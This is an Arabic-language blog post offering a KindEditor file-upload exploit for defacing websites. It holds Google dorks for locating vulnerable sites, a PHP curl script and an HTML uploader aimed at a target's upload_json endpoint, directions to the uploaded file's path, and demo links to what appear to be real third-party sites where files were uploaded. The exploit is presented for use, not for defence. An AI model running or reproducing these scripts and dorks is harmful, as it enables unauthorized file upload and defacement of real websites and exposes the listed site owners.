الأربعاء، 12 فبراير 2014
11:47 ص

ثغرة Upload الأندكس

ثغرة upload Index
ثغرة رفع أندكس الاختراق


http://static.itpro.co.uk/sites/itpro/files/styles/gallery_wide/public/security_exploits.jpg?itok=2qnGTkjp

# Google 

Dork :
---------------
 allinurl:/examples/uploadbutton.html
 allinurl:/php/upload_json.php / .asp / .jsp
 
# KindEditor PHP_JSON Uploader
------------------------------

<?php
 
$uploadfile
="KedAns.txt";$ch curl_init("http://[Target]/[path]/kindeditor/php/upload_json.php?dir=file");curl_setopt($chCURLOPT_POSTtrue);curl_setopt($chCURLOPT_POSTFIELDS,
       array(
'imgFile'=>"@$uploadfile"));curl_setopt($chCURLOPT_RETURNTRANSFER1);$postResult curl_exec($ch);curl_close($ch);
print 
"$postResult";
  
?>
# KindEditor (ASP,ASP.NET,JSP,PHP) _JSON Uploader :
--------------------------------------------------

- Change the Uploader by ( LANG / PATH ) and use this HTML Uploader

/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php

<html><head>
<title>Uploader By KedAns-Dz</title>
<script src="http://[Target]/kindeditor/kindeditor-min.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://[Target]/kindeditor/php/upload_json.asp?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>

# Find u'r file in /attached/file/[Upl_Date]/{RaW_File_Name}.*


# Demo's :

http://segrain.com//kindeditor/examples/uploadbutton.html
http://segrain.com//kindeditor/attached/file/20130310/20130310190436_69175.txt

http://shanshuivilla.com/web/Public/kindeditor/examples/uploadbutton.html
http://shanshuivilla.com/web/Public/kindeditor/attached/file/20130311/20130311000359_44260.txt

0 التعليقات:

إرسال تعليق

 

إدعمنا عن طريق إعجابك بنا على الفايسبوك

Dr.SHANO